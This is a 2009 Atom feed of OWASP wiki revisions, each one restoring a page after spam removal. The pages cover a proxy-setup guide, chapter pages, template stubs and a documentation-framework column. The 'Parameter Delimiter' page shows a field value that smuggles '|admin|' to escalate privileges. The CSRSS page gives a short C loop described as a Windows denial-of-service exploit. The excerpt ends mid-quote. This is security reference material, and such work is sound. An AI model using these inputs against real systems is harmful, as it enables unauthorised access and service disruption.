https://wiki.owasp.org/api.php?action=feedcontributions&user=MediaWiki+spam+cleanup&feedformat=atom
OWASP - User contributions [en]
2024-03-28T11:23:46Z
User contributions
MediaWiki 1.27.2
https://wiki.owasp.org/index.php?title=Proxy_Utilization&diff=63555
Proxy Utilization
2009-06-03T12:50:56Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>[[WebGoat User Guide Table of Contents]]__TOC__<br />
<br />
The features within WebGoat for revealing the workings of the application also need to be supplemented with the assessor’s application assessment proxy of choice.<br />
<br />
This enables further analysis and modification of the client-server interaction, and data in transit.<br />
<br />
Use and configuration will be unique to each tool, but the basic concepts are as follows:<br />
* The application assessment proxy must sit ''between'' the client browser and the remote server.<br />
* It should allow the display and modification of all HTTP data in transit.<br />
<br />
Typically, the tool will either plug directly into the browser, or listen on another local port. When it plugs in directly, a special URL may need to be entered in the browser. When the tool listens on a port, the browser will probably need to be configured to use the proxy. In Microsoft Internet Explorer this can be done from the tool menu by choosing: <br />
# Choose the “Tools/Internet Options” menu item.<br />
# Choose the “Connections” tab<br />
# Hit the “LAN Settings…” button.<br />
# On the Local Area Network Settings dialog check the Proxy server checkbox.<br />
# Uncheck the “bypass proxy server” box<br />
# Enter the address and port where the proxy tool will be listening. The default listening port for WebScarab is 8008.<br />
<br />
[[Image:WebGoat LAN Settings.gif |Figure 7: LAN Settings]]<br />
<br />
Now, when receiving or sending data from the client browser it is possible to intercept, analyze and modify HTTP requests to test the application for security flaws in the target.<br />
<br />
For a tutorial on setting up and running WebScarab see: [[WebScarab Tutorial]]<br />
<br />
<br />
* In using proxies of this kind, a number of capabilities become available to the assessor, including:<br />
* All GET/POST parameters are available for modification, regardless of their hidden status<br />
* Cookies, both persistent and non-persistent may be modified when entering or leaving the browser<br />
* All client-side data validation can be bypassed, as the parameters can be modified immediately before being sent to the server<br />
* Information regarding the caching of data (e.g. Pragma: no-cache) is exposed for analysis<br />
* Server: and other headers are revealed, which may be useful for enumeration of the remote web-server and application-server technologies<br />
<br />
<br />
[[WebGoat User Guide Table of Contents]]<br />
[[Category:OWASP WebGoat Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=File:OWASPAppSecEU2006_AJAX_Security.ppt&diff=63553
File:OWASPAppSecEU2006 AJAX Security.ppt
2009-06-03T12:50:52Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>Andrew van der Stock's AJAX Security Presentation for OWASP Europe 2006<br />
[[Category: OWASP Presentations]]<br />
[[Category: AJAX]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Parameter_Delimiter&diff=63551
Parameter Delimiter
2009-06-03T12:50:48Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Template:Attack}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
This attack is based on the manipulation of parameter delimiters used by web application input vectors in order to cause unexpected behaviors like access control and authorization bypass and information disclosure, among others.<br />
<br />
==Risk Factors==<br />
TBD<br />
<br />
==Examples ==<br />
In order to illustrate this vulnerability, we will use a vulnerability found on Poster V2, a posting system based on PHP programming language. <br />
<br />
This application has a dangerous vulnerability that allows inserting data into user fields (username, password, email address and privileges) in “mem.php” file, which is responsible for managing the application user.<br />
<br />
An example of the file “mem.php”, where user Jose has admin privileges and Alice user access:<br />
<br />
<?<br />
Jose|12345678|jose@attack.com|admin|<br />
Alice|87654321|alice@attack.com|normal|<br />
?><br />
<br />
When a user wants to edit his profile, he must use the "edit account” option in the “index.php” page and enter his login information. However, using “|” as a parameter delimiter on email field followed by “admin”, the user could elevate his privileges to administrator. Example:<br />
<br />
Username: Alice<br />
Password: 87654321<br />
Email: alice@attack.com |admin| <br />
<br />
This information will be recorded in “mem.php” file like this: <br />
<br />
Alice|87654321|alice@attack.com|admin|normal|<br />
<br />
In this case, the last parameter delimiter considered is “|admin|” and the user could elevate his privileges by assigning administrator profile.<br />
<br />
Although this vulnerability doesn’t allow manipulation of other users' profiles, it allows privilege escalation for application users.<br />
<br />
==Related [[Threat Agents]]==<br />
* [[:Category: Authorization]]<br />
* [[:Category: Command Execution]]<br />
<br />
==Related [[Attacks]]==<br />
* [[:Category:Injection Attack]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[:Category: Input Validation Vulnerability]]<br />
<br />
==Related [[Controls]]==<br />
* [[:Category: Input Validation]]<br />
<br />
==References==<br />
* http://cwe.mitre.org/data/definitions/141.html<br />
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0307<br />
<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=User:Dawud&diff=63552
User:Dawud
2009-06-03T12:50:48Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>Hello all, welcome to my OWASP web page. I am currently the OWASP Chapter Leader for Malaysia and you can contact me at the following e-mail address: ( dawuds 'at' gmail 'dot' com ) <br />
<br />
== Malaysian OWASP Chapter ==<br />
<br />
The current OWASP Malaysian Chapter is still starting up. We are in a membership drive i.e. looking for interested people to start. As a start we plan to do the following for the year:<br />
<br />
* Organise our initial chapter meeting<br />
* Identify areas of interest in OWASP for team members to contribute and/or develop skillsets<br />
* Organise quarterly meetings (for a start) and hopefully monthly if time permits<br />
* Organise and/or particpate in seminars related to application security<br />
<br />
== Short Profile ==<br />
<br />
Dawud is an information security consultant based in Kuala Lumpur, Malaysia and has been in IT/information security for about 5 years. He specialises in areas of IT risk management, IT security policies and procedures, security strategies & KPI's, security governance, security architecture reviews and development of secure software development models.<br />
<br />
--[[User:Dawud|mds]] 12:41, 17 April 2007 (EDT)</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Code_Correctness:_Class_Does_Not_Implement_Cloneable&diff=63543
Code Correctness: Class Does Not Implement Cloneable
2009-06-03T12:50:47Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{template:CandidateForDeletion}}<br />
<br />
#REDIRECT [[Failure to follow guideline/specification]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
==Description==<br />
<br />
This class implements a clone() method but does not implement Cloneable.<br />
<br />
It appears that the programmer intended for this class to implement the Cloneable interface because it implements a method named clone(). However, the class does not implement the Cloneable interface and the clone() method will not behave correctly.<br />
<br />
<br />
==Risk Factors==<br />
TBD<br />
<br />
==Examples==<br />
<br />
Calling clone() for this class will result in a CloneNotSupportedException.<br />
<br />
<pre><br />
public class Kibitzer {<br />
public Object clone() throws CloneNotSupportedException {<br />
... <br />
}<br />
}<br />
</pre><br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Attack 1]]<br />
* [[Attack 2]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[Control 1]]<br />
* [[Control 2]]<br />
<br />
<br />
==Related [[Technical Impacts]]==<br />
<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
<br />
<br />
==References==<br />
TBD</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Buffalo&diff=63544
Buffalo
2009-06-03T12:50:47Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{Chapter Template|chaptername=Buffalo|extra=The chapter leader is [mailto:james.kist@gmail.com James Kist]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-buffalo|emailarchives=http://lists.owasp.org/pipermail/owasp-buffalo}}<br />
<br />
==== Local News ====<br />
<paypal>Buffalo</paypal><br />
<br />
The Buffalo NY chapter was formed in August 2004. We meet 4 times a year for 1 to 2 hours per meeting and discuss topics related to web application security.<br />
<br />
== Goals & Objectives ==<br />
<br />
It is our goal to freely distribute information related specifically to web application security. We want to ensure our members receive "free, professional-quality, open-source documentation, tools, and standards", as quoted directly from the main OWASP site. Participation is free and open to all. All are encouraged to participate.<br />
<br />
== Local Mailing List ==<br />
<br />
You can sign up for the local mailing list. This list hosts discussions about chapter activity, planning for meetings and discussions about past and future presentations. To subscribe, go to http://lists.owasp.org/mailman/listinfo/owasp-buffalo and supply your email address.<br />
<br />
== Participation ==<br />
<br />
You can participate by either signing up for the mailing list or just show up for the next meeting!<br />
<br />
==== Chapter Meetings ====<br />
'''Next Chapter Meeting'''<br />
<br />
The next Buffalo chapter meeting is currently being planned. Stay tuned for details!<br />
<br />
== Location ==<br />
<br />
The meetings for OWASP Buffalo will be held at:<BR><br />
'''KnowledgeAir, LLC'''<BR><br />
726 Exchange St<BR><br />
Suite 628 (6th floor)<BR><br />
Buffalo, NY 14210<BR><br />
<br />
== Other Local IT Organizations ==<br />
<br />
[http://www.isacawny.org/ ISACA WNY]<br />
<br />
[http://www.rochissa.org/ ISSA Rochester]<br />
<br />
[http://dc585.info/ Rochester, NY Defcon Group]<br />
<br />
[http://www.infotechniagara.org/ infoTech Niagara]<br />
<br />
[http://www.wnydnug.org/ WNY .NET Users Group]<br />
<br />
[http://www.issabuffaloniagara.org/ ISSA Buffalo Niagara]<br />
<br />
[http://www.wnysip.org/ WNYSIP - Western New York Society for Information Professionals ]<br />
<br />
[http://wnyruby.com/ WNY Ruby Users Group]<br />
<br />
==== Buffalo OWASP Chapter Leaders ====<br />
<br />
<b>President</b> [mailto:james.kist@gmail.com James Kist]<br />
<p><br />
</p><br />
<br />
For information on how to join the chapter or if you would like to attend a meeting or even speak at a meeting, please send one of the officers an email. If you have any suggestions for meeting topics, please send an email with your ideas.<br />
__NOTOC__<br />
<headertabs/><br />
<br />
[[Category:OWASP Chapter]]<br />
[[Category:New York]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Category:CORBA&diff=63547
Category:CORBA
2009-06-03T12:50:47Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>This category is used to mark articles that involve CORBA technology.<br />
<br />
[[Category:Technology]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=File:InfoSec_World_2007_-_Web_services_gateways.ppt&diff=63548
File:InfoSec World 2007 - Web services gateways.ppt
2009-06-03T12:50:47Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>Tim Bond presentation to NoVA OWASP chapter on 5/10/07</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Path_Issue_-_trailing_slash&diff=63549
Path Issue - trailing slash
2009-06-03T12:50:47Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{template:CandidateForDeletion}}<br />
<br />
#REDIRECT [[Failure_to_follow_guideline/specification]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
<br />
A vulnerability is a weakness in an application (frequently a broken or missing control) that enables an attack to succeed. Be sure you don't put [attacks] or [controls] in this category.<br />
<br />
# Start with a one-sentence description of the vulnerability<br />
# What is the problem that creates the vulnerability?<br />
# What are the attacks that target this vulnerability?<br />
# What are the technical impacts of this vulnerability?<br />
<br />
<br />
==Risk Factors==<br />
<br />
* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen<br />
* Discuss the technical impact of a successful exploit of this vulnerability<br />
* Consider the likely [business impacts] of a successful attack<br />
<br />
<br />
==Examples==<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Attack 1]]<br />
* [[Attack 2]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[Control 1]]<br />
* [[Control 2]]<br />
<br />
<br />
==Related [[Technical Impacts]]==<br />
<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
<br />
<br />
==References==<br />
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:<br />
<br />
* [http://cwe.mitre.org/data/definitions/79.html CWE 79].<br />
* http://www.link1.com<br />
* [http://www.link2.com Title for the link2]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=OWASP_Code_Review_Project_Roadmap&diff=63535
OWASP Code Review Project Roadmap
2009-06-03T12:50:46Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>The project's overall goal is to...<br />
<br />
'''be a reference document for the purpose of performing code review. This project shall provide examples in the most common web application development languages (Java and C# .NET)'''<br />
<br />
In the near term, we are focused on the following tactical goals...<br />
<br />
1. Looking at each attack type and examine the anti-pattern associated with the vulnerability which makes the attack possible. This shall include code examples to guide a reviewer on what to look for.<br />
<br />
2. Looking at the code review process, how it is managed and challanges one may encounter when performing code review in the "real world"<br />
<br />
3. Looking at the code review tools available and discussing the benefits and issues of using tools<br />
<br />
[[Category:OWASP Code Review Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=ASP.NET_Reflector&diff=63536
ASP.NET Reflector
2009-06-03T12:50:46Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>ASP.NET REflector is a tool that uses reflection to show the properties,methods and fields values (both Public and Private) of the selected object (starting in the 'this' object)<br />
<br />
Download: [http://prdownloads.sourceforge.net/owasp/Owasp_ANBS_AspNet_Reflector_V0.1a.zip Owasp ANBS AspNet Reflector V0.1a]<br />
<br />
<br />
== Screenshots ==<br />
<br />
'''Properties and Methods of 'this''''<br />
<br />
[[Image:ASPNET Reflector 1.png]]<br />
<br />
<br />
'''Properties and Methods of 'this:Context ''''<br />
<br />
[[Image:ASPNET Reflector 2.png]]<br />
<br />
<br />
'''Properties and Methods of 'this : Context : Request''''<br />
<br />
[[Image:ASPNET Reflector3.png]]<br />
<br />
<br />
<br />
[[Category:OWASP .NET Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Documentation_Framework&diff=63537
Documentation Framework
2009-06-03T12:50:46Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>== A Tailored Web Application Security Documentation Framework ==<br />
<br />
===Introduction===<br />
<br />
In the last column I wrote, I set the scene to expect some big picture stuff. Here goes.<br />
<br />
I strongly believe that if you are going to build an effective, scaleable and manageable application security program you have to start to build on great foundations. Great foundations mean great documentation: great policy, great standards and great process to then back it up. You have to get the basics right especially given the immaturity of commercial technology to support dealing with the problem today.<br />
<br />
There are many reasons why documentation is important. For a start how can you hold anyone accountable or expect them to do the right thing unless you tell them clearly what the right thing is? If you work for a company that has more than a few hundred developers, it is just not feasible to spend time with all of them and educate about the issues and the policy. You have to build a '''''publish and subscribe''''' model where you the security evangelist publishers and the developers take responsibility for their own code by subscribing mentally.<br />
<br />
And here in lies a conundrum. Technical evangelists (which for the most part is a category I think application security leaders today fall into) are usually not good at writing documentation or developing business process and business orientated folks are rarely technical enough to write credible documentation or develop process that will work Six Sigma initiatives, balance scorecards and such like are alien concepts to technicians, and source code trees and the RUP are equally as alien to business managers. Of course there are those with both skills but they are few and far between.<br />
<br />
My advice is to do what Arnie will do when he takes over as governor of California. Accept that selecting the right tool for the job is half of the battle; surround yourself with good people that can do it all (or the bits that you are not as strong at) and build strong foundations. I think Arnie will be successful by leaning on the like of Warren Buffet for economic advice and others who together will get the job done.<br />
<br />
===Presenting a Web Application Security Documentation Framework===<br />
<br />
Before I describe the scope of what I think is needed in a typical large enterprise its worth discussing why one size won't fit all and why I mandate taking a tailored approach. Over the years I have rarely seen documentation frameworks that work. I have seen good documentation that was not applicable to the culture or technical environment; I have seen bad documentation (lots of it) and most often have found none at all. Security policy has a stigma attached to it. It is usually written by the security department for the security department itself and not for the audience. It is largely irrelevant and rarely maintained. In application security that general security policy problem is exaggerated as security departments (at least until recently) rarely had competent application security folks who could connect with the intended audience. Application security is all about unique things. That means people will legitimately do things in a particular way. Companies will have specific reusable components that should be used or tried and trusted ways of doing things. Therefore any generic documentation is likely to fail as it is not relevant to the environment and would unreasonably demand the audience to change ways that work today. On the other end of the spectrum my experience is that customized documentation frameworks that have been developed rarely contain the content about application security that is needed. The content they do contain is usually applicable and relevant but the scope falls far short of what is needed.<br />
<br />
What I believe is needed is a tailored approach. A good framework from which people / consultants can tailor the content to the organizations culture, technology and existing process. With a tailored framework you can quickly highlight policy, standards or processes that is missing or weak. Tailoring allows you to not hit the ground running, provide a solid foundation, reuse good content (leveraging experience) and still ensure all content is applicable and therefore effective. Tailoring allows additional documentation to be developed or existing documentation to be eliminated based on need.<br />
<br />
===An Example Documentation Framework===<br />
<br />
To demonstrate what I mean by a tailored framework I have created an outline that I have used in the past and am currently developing to help me with consulting engagements.<br />
<br />
Many people use the words policy, standards and procedure interchangeably. For the purpose of this framework;<br />
<br />
:*A policy is a collection of high level statement of intent<br />
:*A standard is a set of requirements about specific topics or technologies<br />
:*A procedure describes a process of implementing a standard or a part of a standard<br />
<br />
The hierarchy of how this fits together could be explained in the simple pyramid diagram below.<br />
<br />
I advocate a specific web application security policy that should be referenced (as simple as one line) in the main corporate information security policy and mandated by the CIO (not the CSO). Each standard should typically have an associated procedure that explains exactly how to implement the standard. The policy should very rarely change, the standards will be updated periodically and the procedures are likely to be updated frequently as business process is refined.<br />
<br />
===Compartments===<br />
<br />
One of the most important things about the framework are the compartments. The compartments define and show the scope and extent of documentation that is needed as well as help the audience navigate the documentation framework to visually find what they need to know.<br />
<br />
:*Languages and Development Frameworks<br />
:*Infrastructure Configuration Management<br />
:*Architecture and Design<br />
:*Development, Deployment and Maintenance<br />
:*Operational Security Management<br />
<br />
As you can see from the framework diagram there are quite a few standards and procedures that I recommend. These diagrams are by no means complete. Organizations may need and choose far less than this to fit into their culture, security maturity or posture. Others may need far more. Remember these are not all encompassing and others may be needed or some may be eliminated based on your tailoring process. But at least this level of detail is typical in a large enterprise if you are going to scale and be effective. The OWASP Guide (which many people use as their web application security standards today) covers a limited sub-set of this (mainly design and architecture). Lets review the concept of each Compartment in more detail.<br />
<br />
===Languages, Development Frameworks and Protocols===<br />
<br />
The compartment deals with the languages and technology platforms upon which code is written;<br />
<br />
:*Frameworks<br />
:**J2EE<br />
:**.NET<br />
:**STRUTS<br />
:*Languages<br />
:**Java<br />
:**C#<br />
:**HTML (yes, HTML)<br />
:**C<br />
:**XML<br />
:*HTTP<br />
:*SSL<br />
:*SOAP<br />
<br />
A .NET standard may deal with versions, removing the samples, namespaces, removing tools etc. A J2EE standard covering things like class scope maybe supported by procedures for obfuscating code that is deployed to presentation tiers or how to call reusable security components (one of the most powerful procedures you can develop by the way).<br />
<br />
===Infrastructure Configuration Management===<br />
<br />
The infrastructure configuration management compartment deals with secure configurations for the components on which the application relies on for services. These include;<br />
<br />
:*Web servers<br />
:*Application servers<br />
:*Databases<br />
:*Firewalls<br />
:*Directory Services<br />
:*LAN/WAN Devices<br />
<br />
At a minimum these are standards around which web and application servers can be used and security requirements for their configuration. Supporting procedures are then needed to spell out to administrators how to achieve those requirements such as applying security patches, setting file permissions or configuring access control.<br />
<br />
===Architecture and Design===<br />
<br />
:*Application Architecture<br />
:*Network Security<br />
:**Firewalls<br />
:**Remote Access<br />
:*Application Design<br />
:**Authentication<br />
:**Input Filtering<br />
:**Authorization<br />
:**User Management<br />
:**Transport Security<br />
:**Cryptography<br />
:**Error Handling<br />
:**Session Management<br />
:**Data Handling<br />
<br />
At a minimum these are standards around which web and application servers can be used and security requirements for their configuration. Supporting procedures are then needed to spell out to administrators how to achieve those requirements such as applying security patches, setting file permissions or configuring access control.<br />
<br />
===Development and Deployment===<br />
<br />
:*Application and Content Deployment<br />
:*Assessment<br />
:**Threat Modeling<br />
:**Architecture Reviews<br />
:**Code Review<br />
:**Documentation Review<br />
:**Process Reviews<br />
:**Manual Inspection<br />
:**Black Box Testing (implementation)<br />
:*Source Code Management<br />
:*Source Code Escrow<br />
<br />
We all know there is a lot more to conducting an assessment that running a scanner over a web site (a topic we intend to cover in detail soon). Assessment standards should define the types of testing that is needed and be supported by detailed procedures for how to conduct it. Deployment standards would prescribe appropriate means to deploy code (no, FTP is not generally a suitable!)<br />
<br />
Finally to underpin all this scalable framework is robust Operational Security Management<br />
<br />
:*Change Control standards/procedures<br />
:*Patch Management standards/procedures<br />
:*Incident response standards/procedures/ event logging may have it covered<br />
<br />
Once we have developed and deployed a secure application, we need to ensure that the day to day management of the applications maintains the high level of security and best practices implemented.<br />
<br />
===Conclusion / Advice===<br />
<br />
If you want to develop an effective application security program you need to build from solid foundations and make sure you have the basics covered. That means a good documentation framework. A good documentation framework covers policy, standards and procedures. The best way to create a framework is to use a tailored approach starting with base documents developed by experienced application security professionals and tailor them to your environment, culture and business. Do not reinvent the wheel.<br />
<br />
Develop the core standards and procedures that you need based on your priorities. Never aim to have a static set of documents. Assume it will always be a work in progress.<br />
<br />
There are a lot of topics to define requirements for and develop procedures and process to help people meet those requirements. Do not underestimate the amount of work or skill needed but do not be afraid to start and maintain what you psychologically think is incomplete work. It will never be complete. You do not need it all from day one.<br />
<br />
[[Category:OWASP Columns]]<br />
[[Category:OWASP_WASS_Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Category:Environmental_Vulnerability&diff=63538
Category:Environmental Vulnerability
2009-06-03T12:50:46Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>FIXME: This category should replace the [[:Category:Environmental Problem]]. <br />
<br />
This category includes everything that is outside of the source code but is still critical to the security of the product that is being created. Because the issues covered by this kingdom are not directly related to source code, we separated it from the rest of the kingdoms.<br />
<br />
{{Template:Fortify}}<br />
[[Category:Vulnerability]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Category:Business&diff=63539
Category:Business
2009-06-03T12:50:46Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>Business level articles.<br />
<br />
[[Category:Level of Abstraction]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Path_Issue_-_dot_dot_backslash&diff=63540
Path Issue - dot dot backslash
2009-06-03T12:50:46Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>{{template:CandidateForDeletion}}<br />
<br />
#REDIRECT [[Failure_to_follow_guideline/specification]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
==Description==<br />
<br />
A vulnerability is a weakness in an application (frequently a broken or missing control) that enables an attack to succeed. Be sure you don't put [attacks] or [controls] in this category.<br />
<br />
# Start with a one-sentence description of the vulnerability<br />
# What is the problem that creates the vulnerability?<br />
# What are the attacks that target this vulnerability?<br />
# What are the technical impacts of this vulnerability?<br />
<br />
<br />
"..\filename"<br />
<br />
<br />
==Risk Factors==<br />
<br />
* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen<br />
* Discuss the technical impact of a successful exploit of this vulnerability<br />
* Consider the likely [business impacts] of a successful attack<br />
<br />
<br />
==Examples==<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
===Short example name===<br />
: A short example description, small picture, or sample code with [http://www.site.com links]<br />
<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Path Traversal]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[Control 1]]<br />
* [[Control 2]]<br />
<br />
<br />
==Related [[Technical Impacts]]==<br />
<br />
* [[Technical Impact 1]]<br />
* [[Technical Impact 2]]<br />
<br />
<br />
==References==<br />
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:<br />
<br />
* [http://cwe.mitre.org/data/definitions/79.html CWE 79].<br />
* http://www.link1.com<br />
* [http://www.link2.com Title for the link2]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=User:Sdeleersnyder&diff=63541
User:Sdeleersnyder
2009-06-03T12:50:46Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>Hi,<br />
I am the Belgium [[Belgium|Belgium Chapter]] Lead.<br />
I am also on the OWASP board.<br />
<br />
To see my wiki contributions, [[:Special:Contributions/Sdeleersnyder|click here]].<br />
<br />
Regards,<br />
<br />
Seba</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=Category:OWASP_XML_Security_Gateway_Evaluation_Criteria_Project&diff=63542
Category:OWASP XML Security Gateway Evaluation Criteria Project
2009-06-03T12:50:46Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>rooloa<br />
== Welcome to the XML Security Gateway Evaluation Criteria Project ==<br />
<br />
This OWASP Project defines an open standard for evaluating XML Security Gateways. This criteria will provide the OWASP community a set of standard evaluation criteria to assess the functionality and quality of XML Security Gateways. The main driver for this project is to reduce the confusion and complexity in assessing the strengths and weaknesses of solutions in this the XML Security space, and enlightening the community as to the utility of XML Security Gateways to deliver a number of valuable security services.<br />
<br />
== Project Guiding Principles: ==<br />
<br />
The XML Security Gateway Evaluation Criteria (XSGEC) Projectâs Guiding Principles were created in order to express the intentions of its contributors when designing the criteria.<br />
<br />
* Create evaluation criteria supporting a transparent, level playing field for XML Security Gateway solutions to define their solution's key value proposition<br />
<br />
* Where practical, attempt to standardize nomenclature and metrics<br />
<br />
* Educate the community on the design considerations for XML security<br />
<br />
== Project Scope: ==<br />
<br />
This project will focus on evaluation criteria for XML Security Gateways, that are commonly used in SOAP, Web services, SOA, and Rest applications.<br />
<br />
== Versions: ==<br />
<br />
The latest version of the XSGEC is here<br />
https://www.owasp.org/index.php/Category:OWASP_XML_Security_Gateway_Evaluation_Criteria_Project_Latest<br />
<br />
== Feedback and Participation: ==<br />
<br />
We hope you find the OWASP XML Security Gateway Project useful. Please contribute to the Project by volunteering for one of the Tasks, sending your comments, questions, and suggestions to owasp@owasp.org. To join the OWASP XML Security Gateway Project mailing list or view the archives, please visit http://lists.owasp.org/mailman/listinfo/owasp-xsgec<br />
<br />
== Project Contributors: ==<br />
<br />
If you contribute to this Project, please add your name here<br />
Project Lead:<br />
<br />
* Gunnar Peterson. He can be reached at gunnar@arctecgroup.net <br />
<br />
Contributors:<br />
<br />
* Sebastien Deleersnyder, Telindus<br />
* Muthu Meyyappan, United Healthcare<br />
* Mark O'Neill, Vordel<br />
* Ivan Ristic, Breach Security<br />
* Brian Roddy, Cisco<br />
* Philippe Bogaerts, NetAppSec<br />
* Paul Lesov, Wells Fargo<br />
* Lori MacVittie, F5 Networks<br />
<br />
== More Information: ==<br />
<br />
Security Concepts, Challenges, and Design Considerations for Web Services Integration, By Howard Lipson and Gunnar Peterson<br />
https://buildsecurityin.us-cert.gov/daisy/bsi/articles/best-practices/assembly/639.html?branch=1&language=1<br />
<br />
Web Application Firewall Evaluation Criteria - WASC project with similar approach, focused on the Web App FW space<br />
http://www.webappsec.org/projects/wafec/<br />
<br />
[[Category:OWASP Project]]</div>
MediaWiki spam cleanup
https://wiki.owasp.org/index.php?title=The_CSRSS_Backspace_Bug_still_works_in_windows_2003_sp1&diff=63529
The CSRSS Backspace Bug still works in windows 2003 sp1
2009-06-03T12:50:45Z
<p>MediaWiki spam cleanup: Reverting to last version not containing links to s1.shard.jp</p>
<hr />
<div>The bug described here [http://homepages.tesco.net/%7EJ.deBoynePollard/FGA/csrss-backspace-bug.html The CSRSS Backspace Bug in Windows NT 4/NT 2000/NT XP] and documented in this KB article: [http://support.microsoft.com/kb/311486 A Program that Passes Invalid Screen Size Parameters Causes an Access Violation] was reportetly fixed in NT/2000/Xp but a variation of it still exists in Windows 2003 Sp1<br />
<br />
Basicaly just compile this and you will get a 100% processor usage by the compiled exploit and Csrss.exe<br />
<br />
#include <stdio.h><br />
int main(void)<br />
{<br />
while(1)<br />
printf("\t\t\b\b\b\b\b\b");<br />
return 0;<br />
}<br />
<br />
Sadly, this seems to be another good example of Microsoft's disrespect for people who tried to help them, here are some snippets from the 'Service fix' section of [http://homepages.tesco.net/%7EJ.deBoynePollard/FGA/csrss-backspace-bug.html The CSRSS Backspace Bug in Windows NT 4/NT 2000/NT XP]<br />
<br />
<i><br />
"...<br />
'''Service fix'''<br />
<br />
There [http://www.microsoft.com./ntserver/sp7.asp will not be further service packs for Windows NT 4.] This is a permanent bug in Windows NT 4.<br />
<br />
On 2002-03-23, almost five months since this bug became public knowledge and this web page was published, I received an unconfirmed report from a third party that a fixpack that includes a fix for this bug will be released, and that a knowledgebase article covering it "will" be written.<br />
<br />
